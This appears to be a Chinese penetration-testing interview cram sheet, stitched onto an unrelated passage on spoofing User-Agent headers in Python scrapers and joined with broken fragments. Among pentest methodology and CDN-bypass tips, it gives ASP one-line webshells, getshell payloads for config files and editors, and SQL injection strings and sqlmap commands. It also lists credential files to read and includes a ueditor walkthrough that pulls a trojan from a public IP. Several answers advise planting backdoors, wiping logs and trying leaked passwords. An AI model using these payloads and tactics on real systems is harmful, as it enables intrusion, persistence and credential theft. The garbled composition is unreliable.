程序的运行结果,如下所示:#
#导入模块
import urllib.request
#向网站发送get请求
response=urllib.request.urlopen('http://httpbin.org/get')
html = response.read().decode()
print(html){
"args": {},
#请求头信息
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7", #UserAgent信息包含在请求头中!
"X-Amzn-Trace-Id": "Root=1-6034954b-1cb061183308ae920668ec4c"
},
"origin": "121.17.25.194",
"url": "http://httpbin.org/get"
}from urllib import request
# 定义变量:URL 与 headers
url = 'http://httpbin.org/get' #向测试网站发送请求
#重构请求头,伪装成 Mac火狐浏览器访问,可以使用上表中任意浏览器的UA信息
headers = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0'}
# 1、创建请求对象,包装ua信息
req = request.Request(url=url,headers=headers)
# 2、发送请求,获取响应对象
res = request.urlopen(req)
# 3、提取响应内容
html = res.read().decode('utf-8')
print(html){
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
#伪装成了Mac火狐浏览器
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0",
"X-Amzn-Trace-Id": "Root=1-6034a52f-372ca79027da685c3712e5f6"
},
"origin": "121.17.25.194",
"url": "http://httpbin.org/get"
}上述代码重构了 User-Agent 字符串信息,这样就解决了网站通过识别 User-Agent 来封杀爬虫程序的问题。当然这只是应对反爬策略的第一 步。重构 UA 也可以通过其他模块实现,比如 requests 模块
第四章 渗透测试#
一、渗透最后的一步是什么?(他说是漏洞复测(我不知道))#
渗透测试遵循软件测试的基本流程,但由于其测试过程与目标的特殊性,在具体实现步骤上渗透测试与常见软件测试并不相同。渗透测试流#
程主要包括 8 个步骤,如下图所示:#
下面结合上图介绍每一个步骤所要完成的任务。#
(1 )明确目标#
当测试人员拿到需要做渗透测试的项目时,首先确定测试需求,如测试是针对业务逻辑漏洞,还是针对人员管理权限漏洞等;然后确定客户要#
求渗透测试的范围,如IP段、域名、整站渗透或者部分模块渗透等;最后确定渗透测试规则,如能够渗透到什么程度,是确定漏洞为止还是继#
续利用漏洞进行更进一步的测试,是否允许破坏数据,是否能够提升权限等。#
在这一阶段,测试人员主要是对测试项目有一个整体明确的了解,方便测试计划的制订。#
(2)收集信息#
在信息收集阶段要尽量收集关于项目软件的各种信息。例如,对于一个Web应用程序,要收集脚本类型、服务器类型、数据库类型以及项目 所用到的框架、开源软件等。信息收集对于渗透测试来说非常重要,只有掌握目标程序足够多的信息,才能更好地进行漏洞检测。
信息收集的方式可分为以下 2 种。
①主动收集:通过直接访问、扫描网站等方式收集想要的信息,这种方式可以收集的信
息比较多,但是访问者的操作行为会被目标主机记录。
②被动收集:利用第三方服务对 目标进行了解,如上网搜索相关信息。 这种方式获取的
信息相对较少且不够直接,但目标主机不会发现测试人员的行为。
(3)扫描漏洞
在这一阶段,综合分析收集到的信息,借助扫描工具对目标程序进行扫描,查找存在的安全漏洞。
(4)验证漏洞
在扫描漏洞阶段,测试人员会得到很多关于目标程序的安全漏洞,但这些漏洞有误报,需要测试人员结合实际情况,搭建模拟测试环境对这 些安全漏洞进行验证。被确认的安全漏洞才能被利用执行攻击。
(5)分析信息
经过验证的安全漏洞就可以被利用起来向目标程序发起攻击,但是不同的安全漏洞,攻击机制并不相同,针对不同的安全漏洞需要进一步分 析,包括安全漏洞原理、可利用的工具、目标程序检测机制、攻击是否可以绕过防火墙等,制订一个详细精密的攻击计划,这样才能保证测 试顺利执行。
(6)渗透攻击
渗透攻击就是对目标程序发起真正的攻击,达到测试目的,如获取用户账号密码、截取目标程序传输的数据、控制目标主机等。一般渗透测 试是一次性测试,攻击完成之后要执行清理工作,删除系统日志、程序日志等,擦除进人系统的痕迹。
(7)整理信息
渗透攻击完成之后,整理攻击所获得的信息,为后面编写测试报告提供依据。
(8)编写测试报告
测试完成之后要编写测试报告,阐述项目安全测试目标、信息收集方式、漏洞扫描工具以及漏洞情况、攻击计划、实际攻击结果、测试过程 中遇到的问题等。此外,还要对目标程序存在的漏洞进行分析,提供安全有效的解决办法。
二、有没有形成自己的渗透流程习惯?讲述一下信息泄露有哪些渠道收集?#
作为一名渗透测试人员,我有自己的渗透测试流程和习惯,主要分为以下几个步骤:#
1.收集信息:在渗透测试之前,我会尽可能地搜集目标系统的信息,包括IP地址、域名、操作系统、应用程序、网络拓扑结构、防火墙、安#
全配置等,以便于后续的攻击和测试。#
2.扫描目标:在收集完信息之后,我会使用各种扫描工具和技术来扫描目标系统,包括端口扫描、漏洞扫描、Web应用扫描等,以发现目标 系统存在的漏洞和弱点。
3.渗透攻击:在扫描完成之后,我会使用各种攻击技术来尝试入侵目标系统,包括密码猜测、SQL注入、XSS攻击、文件包含等,以获取系统 的敏感信息或者控制目标系统。
4.提权和后门:如果成功入侵了目标系统,我会继续使用各种技术来提权,获取更高的权限,并且在目标系统上留下后门,以保持对目标系 统的控制。
5.清理和报告:在渗透测试完成之后,我会清理留下的痕迹,以避免对目标系统造成不必要的损害,并且编写详细的测试报告,向客户说明 测试的结果和发现的漏洞。
关于信息泄露,以下是一些可能的信息收集渠道:
1.目标系统的网站和应用程序:可以从目标系统的网站和应用程序中获取一些敏感信息,例如用户名、密码、数据库信息、文件路径等。
2.目标系统的社交媒体和网站:可以从目标系统的社交媒体和网站中获取一些关于目标系统员工和公司的信息,例如电子邮件地址、电话号 码、地址等。
3.搜索引擎和网络爬虫:可以使用搜索引擎和网络爬虫来搜索和收集与目标系统相关的信息,例如新闻报道、博客文章、论坛帖子等。
4.公开数据和漏洞数据库:可以从公开数据和漏洞数据库中获取目标系统的信息和漏洞信息,例如CVE、CNVD、CNNVD等。
5.社会工程学:可以使用社会工程学技术来获取目标系统的敏感信息,例如通过电话、电子邮件、短信等方式来获取目标系统的用户名、密 码等。
三、给你一个公司名怎么做信息收集?说一下信息收集的思路#
当我接到一个公司名时,我首先会进行一些基础信息收集,例如公司的官方网站、社交媒体账号、公司地址、电话号码等。在这些信息的基#
础上,我会深入挖掘以下几个方面:#
1. 公开信息收集:我会利用搜索引擎和社交媒体来寻找公司的公开信息,例如新闻报道、博客文章、论坛帖子等。在搜索时,我会使用公#
司名、关键人物的名字、品牌名称等关键词来搜索。#
2. 网站信息收集:我会对公司的官方网站进行详细的信息收集,例如网站的结构、技术架构、内容等。我会使用抓包工具来捕捉网站的流#
量,并且分析网站的请求和响应,以获取更多的信息。#
3. DNS信息收集:我会利用DNS查询工具来获取公司的域名信息、主机名信息、IP地址信息等。我还会利用子域名枚举工具来查找子域#
名,以获取更多的信息。#
4. 漏洞信息收集:我会使用漏洞扫描工具来扫描公司的网络和应用程序,以发现公司存在的安全漏洞和弱点。同时,我还会查找公司的历#
史漏洞信息,以了解公司的安全状况和漏洞修复情况。#
5. 人员信息收集:我会查找公司的员工信息,例如高管、技术人员、销售人员等,以获取更多的信息。我还会查找公司的招聘信息,以了#
解公司的人员需求和技术方向。 以上是我的信息收集思路,每个步骤都需要使用不同的工具和技术来实现。#
四、说一下信息搜集中最重要的点是什么?信息收集除了 fofa 外还能怎么收#
集?怎么对域做信息收集?用到哪些工具?给一个单点登录页面,怎么渗透?#
在信息收集中,最重要的点是确定目标和目标的攻击面。在了解目标之前,我们不可能知道该使用哪些工具和技术来收集信息。因此,我们#
需要先花时间仔细分析目标,确定目标的网络拓扑、技术架构、安全配置和漏洞情况等,以便于制定合适的渗透测试方案。#
除了 Fofa 外,还有很多其他的信息收集工具和技术。例如,我们可以使用Nmap进行端口扫描,使用Shodan进行物联网设备扫描,使用 theHarvester进行电子邮件地址收集,使用Amass进行子域名收集等等。此外,我们还可以使用社交工程学技术、OSINT技术、人工情报等 手段来收集信息。
对于域名的信息收集,我们可以使用Whois查询工具来查询域名注册信息,使用Dig和Nslookup查询DNS记录,使用Sublist3r和Amass等工 具来收集子域名信息,使用Wappalyzer和WhatWeb等工具来分析目标网站的技术架构等等。 如果给定一个单点登录页面,我们可以使用以 下步骤来进行渗透测试:1. 收集信息:收集目标系统的信息,包括IP地址、域名、操作系统、Web服务器等。2. 扫描目标:使用漏洞扫描工 具和Web应用扫描工具来扫描目标系统,发现存在的漏洞和弱点。3. 渗透攻击:使用各种攻击技术来尝试入侵目标系统,包括SQL注入、 XSS攻击、文件包含等,以获取系统的敏感信息或者控制目标系统。4. 提权和后门:如果成功入侵了目标系统,我们可以尝试提权,获取更 高的权限,并且在目标系统上留下后门,以保持对目标系统的控制。5. 清理和报告:在渗透测试完成之后,我们需要清理留下的痕迹,以避 免对目标系统造成不必要的损害,并且编写详细的测试报告,向客户说明测试的结果和发现的漏洞。
在渗透测试过程中,我们需要使用一系列的工具,包括漏洞扫描器、Web应用扫描器、代理工具、渗透测试工具等等。例如,我们可以使用 Burp Suite来进行Web应用扫描和攻击,使用Metasploit来进行漏洞攻击,使用Nmap来进行端口扫描等等。
五、后渗透这块有没有接触过?#
是的,后渗透测试是渗透测试的一部分,它是指在成功入侵目标系统后,对系统进行进一步的探索、提权和数据收集,以获取更多的敏感信#
息或者掌握更高的权限。后渗透测试通常包括以下几个步骤:#
1. 探索目标系统:在成功入侵目标系统后,我们需要对系统进行进一步的探索,了解目标系统的运行环境、安全配置、网络拓扑等信息。#
我们可以使用命令行工具、文件浏览器、进程管理器等工具来探索目标系统。#
2. 提权操作:在探索目标系统后,我们需要尝试提权,以获取更高的权限。我们可以使用漏洞利用工具、后门工具等来提升权限并且控制#
目标系统。#
3. 数据收集:在获取更高的权限后,我们可以对目标系统的数据进行收集,包括敏感文件、数据库、邮件等。我们可以使用文件传输工#
具、数据库客户端、邮件客户端等工具来收集数据。#
4. 损害清除:在进行后渗透测试之后,我们需要清除在目标系统上留下的痕迹,以避免被发现。我们可以使用清除工具、删除日志等方法#
来清除痕迹。 在后渗透测试中,我们需要使用一些工具和技术来完成上述步骤。例如,我们可以使用Metasploit来进行漏洞利用和后门
操作,使用Mimikatz来提权和获取密码,使用Nmap来进行端口扫描和探测服务等等。六、给你一个后台登录的账号密码,你能做什么?渗透测试的时候你觉得应该注#
意什么?#
如果我没有得到合法授权,我不能使用这个账号密码进行任何操作,因为这是非法的。如果我得到了合法授权,那么我可能会执行以下操#
作:#
1.验证账号密码的有效性:首先,我会验证这个账号密码是否有效,也就是尝试使用这个账号密码登录后台系统,以确定账号密码是否正#
确。#
2.探测后台系统:如果账号密码有效,我可能会使用一些工具(如 Nmap、DirBuster)来探测后台系统,了解后台系统的结构、组成部分、 漏洞情况等。
3.分析后台系统的漏洞:在探测后台系统的过程中,我可能会发现一些漏洞,例如 SQL 注入、文件上传漏洞、任意文件读取漏洞等,然后尝 试利用这些漏洞获取更高的权限或者控制后台系统。
4.窃取敏感信息:如果后台系统中存储了一些敏感信息,例如用户密码、客户信息等,我可能会尝试窃取这些信息,或者通过一些手段(如 键盘记录器)记录后台系统的操作,以获取更多的信息。需要注意的是,这些操作只在得到了合法授权的情况下才能进行,否则将构成违法 行为。同时,在进行渗透测试或者红队攻击时,需要遵守相关法律法规,只在合法授权的情况下进行,同时也要注意安全,尽可能地避免对 系统造成损害。
1.确定渗透测试的注意事项#
2.通知客户备份数据库备份代码#
3.禁止登陆扫描#
4.降低扫描线程#
5.增删改一定要手工操作#
6.禁止脱库 跑数据 传 shell 7.执行命令的时候一定要执行 whoami 等无害命令 8.不能进行dos D DOS攻击
七、主站是从哪方面下手进行渗透测试?#
1 、拿到一个待检测的站或给你一个网站,你觉得应该先做什么?#
一、信息收集#
1.获取域名的whois信息,获取注册者邮箱姓名电话等。
2.通过站长之家、明小子、k8等查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏 洞。
3 、通过DNS域传送漏洞、备份号查询、SSl证书、APP、微信公众号、暴力破解、DNS历史记录、K8 C段查询、Jsfinder、 360 或华为威胁情 报、证书序列号获取企业域名与ip。
4.通过Nmap、Wappalyzer、御剑等查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏 洞
5.通过7KB、破壳扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针、管理员备份文件。
6.google hack 进一步探测网站的信息,后台,敏感文件
7 、敏感信息收集,如github源码、用7kb、破壳扫源代码泄露(.hg、.git、cvs、svn、.DS_store源代码泄露)、google hack、接口信息泄 露、社工信息泄露、邮箱地址信息收集、网盘搜索、钟馗之眼、天眼查、威胁情报、微步在线等
8 、通过Wappalyzer、御剑工具对网站指纹识别(包括,cms,cdn,证书等),dns记录
二、漏洞扫描
1 用AWVS、APPSCAN、长亭科技的Xray等扫描器检测Web漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意 文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
2 用namp、天镜、Nessus、极光等扫描系统ip,对扫描出来的高危漏洞进行测试,如ms08-067、ms17-010、ms12-020、ms15-035、 ms19-0708、永恒之蓝 2 代、cve-2017-7494(samba)、cve-2014-6271(破壳)、php cgi等相关漏洞验证。
3 漏洞利用
利用以上的方式拿到webshell,或者其他权限
4 权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本 漏洞提权,linux下的mysql system提权以及oracle低权限提权
5 日志清理
操作系统、中间件、数据库等日志进行清除
6 总结报告及修复方案
2 、你平时常去那些网站进行学习、挖漏洞提交到那些平台
一般去seebug、freebuf、吾爱破解、看雪论坛、阿里聚安全、PentesterLab、阿里云先知社区等
挖洞一般提交给 360 补天、cnvd、教育漏洞平台、漏洞银行、漏洞盒子众测平台
3 、判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。如果开源,还能下载相对应的源码进行代码审计
4 、常见的网站服务器容器(中间件)
IS、Apache、nginx、Lighttpd、Tomcat、Weblogic、Jboss
5 、一个成熟并且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描,站长的误操作等,比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点。
6 、甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?
直接用7KB或破壳挂字典在网站二级目录/abc/下扫描敏感文件及目录。
7 、在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
丢社gongku里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
用邮箱做关键词进行丢进搜索引擎。
利用搜索到的关联信息找出其他邮进而得到常用社交账号。
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
利用已有信息生成专用字典。
观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西
8 、Nmap主要功能有那些,扫描的几种方式、绕过ping扫描、漏洞检测等
一、 4 大功能:分别为主机发现(参数-sn)、端口扫描(-sS -sU)、版本侦测(–sV)、OS侦测(-O)
二、扫描方式有:tcp connect()、TCP SYN scanning、TCP FIN scanning、Null scan等
三、绕过ping扫描参数为:nmap -Pn XXX.XXX.XXX.XXX
四、漏洞检测可直接nmap 目标 –script=auth,vuln
9 、sql注入的几种类型?
1 报错注入 2bool型注入 3 延时注入 4 宽字节注入
10 、延时注入如何来判断?
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
基于布尔型SQL盲注: XXX’ and ascii(substr(database(),1,1))=112#
基于时间型SQL盲注: XXX’ and sleep(x)#
11 、sqlmap,怎么对一个注入点注入?
1 )如果是get注入,直接,sqlmap -u “注入点网址”.
如果是post注入,可以sqlmap –r “burp地址访问包”
3 )如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”, 记得加上—level 3参数
12 、SQL注入防护方法?
1 、涵数过滤,如!is_numeric涵数 //判断变量id是否为数字
2 、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面,如 360 、阿里云、腾迅提供的防注入脚本
3 、使用白名单来规范化输入验证方法
4 、采用PDO预处理 5 、使用Waf拦截
13 、常用中间件、数据库、第三方应用、操作系统默认配置文件是什么?
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
14 、任意文件下载防范方法有那些?
( 1 )过滤”.",使用户在url中不能回溯上级目录
( 2 )正则严格判断用户输入参数的格式
( 3 )php.ini配置open_basedir限定文件访问范围
15 、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、输出时采用html实体编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方 式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感 文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
16 、CSRF、SSRF和重放攻击有什么区别?
CSRF是跨站请求伪造攻击,由客户端发起;
SSRF是服务器端请求伪造,由服务器发起;
重放攻击是将截获的数据包进行重放,达到身份认证等目的。
17 、如何防止CSRF?
1 、验证referer 2、验证token 3、增加验证码
18 、逻辑漏洞的类型
1 订单金额任意修改
2 验证码回传
3 未进行登录凭证验证
4 接口无限制枚举
5cookie设计存在缺陷
6 找回密码存在设计缺陷
7 单纯读取内存值数据来当做用户凭证
八、简述白盒渗透/灰盒渗透/黑盒渗透的区别以及测试方法,以及如何根据不同#
的限制环境开发利用技术,以及避免触发高危警报#
一、黑盒测试、灰盒测试、白盒测试概念#
黑盒测试 :黑盒测试也称功能测试或数据驱动测试,它是在已知产品所应具有的功能,通过测试来检验每个功能都是否能够正常使用。#
白盒测试 :白盒测试也称结构测试或逻辑驱动测试,是一种测试用例设计方法,它从程序的控制结构导出测试用例。(测试用例由测试输入#
数据以及与之对应的输出结果组成)允许测试人员对程序内部逻辑结构及有关信息来设计和选择测试用例,对程序的逻辑路径进行测试。基#
于一个应用代码的内部逻辑知识,测试是基于覆盖全部代码、分支、路径、条件。#
灰盒测试 :它是一种基于黑盒测试和白盒测试之间的测试方法,是业务流程基础上关注系统模块之间如何交互运作的测试方法。它既可保证#
黑盒的关注点又可掌控白盒的内部结构,但不会去对内部程序功能和运作做详细了解。#
二、黑盒测试、灰盒测试、白盒测试区别#
黑盒和灰盒 的区别:#
如果某软件包含多个模块,当使用黑盒测试时,你只要关心整个软件系统的边界,无需关心软件系统内部各个模块之间如何协作。而如#
果使用灰盒测试,则需要关心模块与模块之间的交互。#
白盒和灰盒 的区别:#
在灰盒测试中,你无需关心模块内部的实现细节,对于软件系统的内部模块,灰盒测试依然把它当成一个黑盒来看待。而白盒测试还需#
要再深入地了解内部模块的实现细节和各个分支。#
三、黑盒测试、白盒测试详细功能描述#
黑盒测试详细功能描述请看这篇#
白盒测试详细功能描述请看这篇#
九、快速 getshell 的方式有哪些?#
ASP常用的一句话木马:#
1. <%eval request(“hack")%>
2. <%execute request(“hack")%>
3. <%execute(request(“hack"))%>
4. <%ExecuteGlobal request(“hack")%>一、修改配置文件getshell
HadSky5.5.2.20180525存在配置文件写入导致getshell 安装过程总共五个步骤来进行安装,每一步程序将会引用一些文件进行操作,但是由 于install.lock文件的存在我们并不能写入恶意代码到配置文件里,但是此cms安装程序是在case等于 4 的时候锁定程序,并且是通过GET方式 获取的chkcode参数值为”HadSkyInstallComplete”的时候锁定程序的,这和之前写入配置文件的过程是分开的两个数据包,也就是会导致配 置文件恶意写入问题
1.首先将upload文件放到网站根目录下。
2.然后进行安装#
3.点击下一步即可 ,填写之后开启抓包#
4.点击发送,这里只是第三步成功了,还没有完全成功#
5.修改字段,然后点击发送#
查看源码发现成功写入,payload:’;phpinfo();//
想要getshell,将phpinfo();换成一句话木马即可
二、后台编辑getshell
由于网站设计有缺陷,后台编辑网站配置没有过滤并且能直接将编辑内容写入到可执行文件中导致了可以写入木马。
1.登录网站后台管理系统
2.网站的管理系统的话会存到数据库中#
3.将一句话木马写入配置文件#
payload:"%><%eval request(“hack")%><%’
4.然后使用工具链接即可#
http://192.168.44.147:81/Inc/Config.asp,连接密码:hack
三、数据库备份getshell
1.首先打开网站,进入后台
2.制作图片码,上传图片
3.接下来备份数据库getshell,选择数据库备份,输入当前数据库路径与备份后的名字
4.使#
用菜刀链接即可,注意写入的是asp的一句话木马
四、富文本编辑器getshell
常见的编辑器有Ueditor、fckeditor、CKEditor
Ueditor编辑器漏洞
1. /ueditor/index.html
2. /ueditor/asp/controller.asp?action=uploadimage
3. /ueditor/asp/controller.asp?action=uploadfile
4. /ueditor/net/controller.ashx?action=uploadimagefckeditor编辑器漏洞
1. FCKeditor/editor/filemanager/browser/default/connectors/test.html(2.4.3)
2. FCKeditor/editor/filemanager/upload/test.html(2.4.3)
3. FCKeditor/editor/filemanager/connectors/test.html
4. FCKeditor/editor/filemanager/connectors/uploadtest.htmlueditor漏洞复现
1.访问漏洞链接查看是否存在漏洞
http://192.168.44.147:82/ueditor/net/controller.ashx?action=catchimage
2.创建攻击表单#
3.制作图片码#
4.把图片码放入到公网IP#
5.访问第二步制作好的html文件,提交木马:把http://114.115.164.157:8555/444.png?.aspx,放到输入框中提交,正常页面返回木马路径。
6.使用工具连接木马
五、导入插件getshell
安装环境
进入后台之后上传插件压缩包#
连接压缩包即可#
十、给你 20 万个 IP 要求两周内测完你会怎么做?说一下饶过 CDN 寻找真实 IP#
方式说一下找真实 ip 的方法怎么去找源 IP?#
针对这个需求,我可能会采用以下几个步骤:#
1. 确定测试的目的和范围:首先,我需要明确测试的目的和范围,例如测试这些 IP 是否存在安全漏洞、是否存在恶意行为等。#
2. 确定测试工具和方法:根据测试的目的和范围,我需要选择合适的测试工具和方法。例如,如果是测试安全漏洞,我可能会使用漏洞扫#
描工具(如 Nmap、OpenVAS)进行扫描;如果是测试恶意行为,我可能会使用黑名单查询工具(如 VirusTotal)进行查询。
3. 制定测试计划:根据测试目的、范围、工具和方法,我需要制定测试计划,包括测试的时间、测试的频率、测试的方式等。同时,我需
要确定测试结果的收集方式和处理方式,例如如何保存测试结果、如何分析测试结果等。
4. 分配测试任务:根据测试计划,我需要将测试任务进行合理的划分和分配,分配给专业的测试人员进行测试。同时,我需要建立一个测
试进度跟踪系统,以便及时了解测试进度和测试结果。
5. 监控测试进度和结果:在测试过程中,我需要对测试进度和测试结果进行监控,及时发现和解决测试中出现的问题。如果测试结果存在
安全漏洞或者恶意行为,我需要及时通知相关部门进行处理。
6. 生成测试报告:在测试完成后,我需要生成测试报告,包括测试的目的、范围、工具和方法、测试结果、测试结论和建议等。同时,我
需要将测试结果和报告提交给相关部门进行审阅和处理。 总的来说,要在两周内测完 20 万个 IP,需要合理的测试计划、测试工具和方
法、测试人员的分配和协作、测试进度的监控和测试结果的分析处理等。同时,也需要注意测试安全,尽可能地避免对 IP 的安全造成
损害。<form action="http://192.168.44.147:82/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-
data" method="POST">
\<p\>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>正常情况下,通过cmd命令可以快速找到域名对应IP,最常见的命令如ping、nslookup。但很多站点出于用户体验和安全的角度,使用CDN 加速,将域名解析到CDN,这时候就需要绕过CDN来查找真实IP。
一、DNS历史解析记录
查询域名的历史解析记录,可能会找到网站使用CDN前的解析记录,从而获取真实ip,相关查询的网站有:
IP History 查询记录:
二、查找子域名#
很多时候,一些重要的站点会做CDN,而一些子域名站点并没有加入CDN,而且跟主站在同一个C段内,这时候,就可以通过查找子域名来#
查找网站的真实IP。#
常用的子域名查找方法和工具:#
1 、搜索引擎查询:如Google、baidu、Bing等传统搜索引擎,site:baidu.com inurl:baidu.com,搜target.com|公司名字。
2 、一些在线查询工具,如:
3 、 子域名爆破工具#
三、网站邮件头信息#
比如说,邮箱注册,邮箱找回密码、RSS邮件订阅等功能场景,通过网站给自己发送邮件,从而让目标主动暴露他们的真实的IP,查看邮件#
头信息,获取到网站的真实IP。#
四、网络空间安全引擎搜索#
通过关键字或网站域名,就可以找出被收录的IP,很多时候获取到的就是网站的真实IP。#
ZoomEy搜索:
iphistory:https://viewdns.info/iphistory/DNS查询:(https://dnsdb.io/zh-cn/)微步在线:
(https://x.threatbook.cn/)域名查询:(https://site.ip138.com/)DNS历史查询:(https://securitytrails.com/)
Netcraft:https://sitereport.netcraft.com/?url=github.comhttp://tool.chinaz.com/subdomain/http://i.links.cn/subdomain/
http://subdomain.chaxun.la/http://searchdns.netcraft.com/https://www.virustotal.com/Layer子域名挖掘机wydomain:https://github.com/ring04h/wydomain
subDomainsBrute:https://github.com/lijiejie/Sublist3r:https://github.com/aboul3la/Sublist3r钟馗之眼:https://www.zoomeye.orgShodan:https://www.shodan.ioFofa:https://fofa.so五、利用SSL证书寻找真实IP#
证书颁发机构(CA)必须将他们发布的每个SSL/TLS证书发布到公共日志中,SSL/TLS证书通常包含域名、子域名和电子邮件地址。因此#
SSL/TLS证书成为了攻击者的切入点。#
SSL证书搜索引擎:#
六、国外主机解析域名#
大部分 CDN 厂商因为各种原因只做了国内的线路,而针对国外的线路可能几乎没有,此时我们使用国外的DNS查询,很可能获取到真实#
IP。#
国外多PING测试工具:#
国外多ping网站测试:
七、扫描全网#
通过Zmap、masscan等工具对整个互联网发起扫描,针对扫描结果进行关键字查找,获取网站真实IP。
1 、ZMap号称是最快的互联网扫描工具,能够在 45 分钟扫遍全网。
2 、Masscan号称是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。
https://censys.io/ipv4?q=github.com
Censys 证书搜索:https://asm.ca.com/zh_cn/ping.phphttp://host-
tracker.com/http://www.webpagetest.org/https://dnscheck.pingdom.com/https://github.com/zmap/zmap八、配置不当导致绕过#
在配置CDN的时候,需要指定域名、端口等信息,有时候小小的配置细节就容易导致CDN防护被绕过。#
案例 1 :为了方便用户访问,我们常常将www.test.com 和 test.com 解析到同一个站点,而CDN只配置了www.test.com,通过访问 test.com,就可以绕过 CDN 了。
案例 2 :站点同时支持http和https访问,CDN只配置 https协议,那么这时访问http就可以轻易绕过。
1.采用多地ping:[ 3 ][ 7 ]
不同地区的服务器->访问->ip:假如使用了cdn->ip会众多,假如使用了双线-> ip一般只有几个,这是区分cdn跟多线服务器的很好的方法。
网上的一些在线工具:
奇云测http//ce.cloud.360.cn/; 站长工具Ping http://ping.chinaz.com/; 批注:个人觉得,如果是小网站,这种方法还是比较可行的,至少可以判断出其是否采用了CDN加速,但是如果是大型网站,其本身可用的 IP数就众多,一般是判断不出来的。
2.ping xxx.com而不是ping http://www.xxx.com
因为了解到现有很多CDN厂商基本只要求把www.xxx.com cname到cdn主服务器上去,而且有人为了维护网站时更方便,不用等cdn缓存, 只让WWW域名使用cdn,秃域名不使用。所以试着把目标网站的www去掉,ping一下看ip是不是变了?
批注:可以试试。
3.ping二级域名,甚至三级域名扫描爆破:[ 2 ][ 4 ][ 5 ][ 6 ][ 10 ][ 11 ][ 12 ][ 13 ]
因为很多情况是主站使用了CDN而分站没有使用,而且一般不会把所有的二级域名放在CDN上,所以,使用google site或者自建一个常用二 级域名字典,猜到其二级域名,再ping二级域名,获取其ip,最后将目标域名绑定到同ip,能访问就说明目标站与此二级域名在同一个服务 器上,就算不在同一服务器也可能在同C段,扫描C段所有开 80 端口的ip,挨个试。
批注:个人觉得这个还是比较靠谱的,看了下阿里云、腾讯云的CDN服务,对加速的域名个数是有所限制的, 阿里云是 20 个,所以如果网站 内容稍微多一点,很有可能二级、三级域名是没有采用CDN加速的,很有可能扫描C段就可以得到主站IP。
4.找国外冷门DNS:[ 4 ][ 5 ][ 11 ][ 12 ]
大部分CDN提供商只针对国内市场,而对国外市场几乎是不做CDN,国外的请求有很大的几率会直接指向真实ip。不用上国外vpn,只需 要:nslookup xxx.com 国外dns,就行了,例如:nslookup xxx.com 8.8.8.8,提示:你要找冷门国外DNS才行,像谷歌的DNS,国内用的 人越来越多了,很多CDN提供商都把谷歌DNS作为国内市场之一,所以,你查到的结果会和国内差不了多少
用国外的多节点ping工具,例如just-ping(http://www.just-ping.com/),全世界几十个节点ping目标域名,很有可能找到真实ip。
批注:可以试试。
5.查看域名历史解析记录:[ 4 ][ 5 ][ 11 ][ 12 ]
因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址。有个专门的网站提供域名解析历史记录查询:http://toolbar.netcraft.c om/site_report?url=www.xxx.com;http://toolbar.netcraft.com/
批注:感觉不太靠谱,可以试试。
6.让服务器主动连接我们(包括RSS邮件订阅):[ 4 ][ 5 ][ 6 ][ 7 ][ 8 ][ 10 ][ 11 ][ 12 ][ 13 ]
我们直接访问有cdn的域名的时候,肯定要先经过cdn,如果我们让服务器连接我们呢??不就能快速得到服务器真实IP了么?
不管网站怎么CDN,其向用户发的邮件一般都是从自己服务器发出来的。有的服务器本地自带sendmail,注册之后,会主动发一封邮件给我 们,打开邮件的源代码,你就能看到邮件服务器的真实Ip了,很大可能与主站处在一个网段,那个网段打开 80 端口的一个一个试。
